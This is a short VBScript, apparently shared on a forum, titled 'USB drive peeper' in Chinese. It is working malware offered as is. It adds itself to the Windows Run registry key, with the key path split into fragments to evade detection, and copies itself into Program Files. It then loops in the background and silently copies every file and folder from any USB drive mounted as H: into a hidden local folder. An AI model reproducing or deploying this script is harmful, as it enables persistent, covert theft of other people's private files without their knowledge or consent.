CODE: [Copy to clipboard]
'---------------------------------U盘偷窥者.vbs-------------------------------------
set fso=createobject("scripting.filesystemobject")
set ws=createobject("wscript.shell")
on error resume next
aaa="HKEY_CURRENT_USER\Software\Micr"
bbb="osoft\Windows\Curr"
ccc="entVers"
ddd="ion\Ru"
eee="n\USBgetter"
ws.regwrite aaa&bbb&ccc&ddd&eee,"C:\Program Files\U盘偷窥者.vbs"
if fso.folderexists("c:\usb")=false then
fso.createfolder("c:\usb")
fso.copyfile "U盘偷窥者.vbs","C:\Program Files\"
end if
do
wscript.sleep 1000
if fso.driveexists("H:\") then
fso.copyfile "H:\*","c:\usb\"
fso.copyfolder "H:\*","c:\usb\"
wscript.sleep 20000
end if
loop
'-------------------------------------------------------------------------------------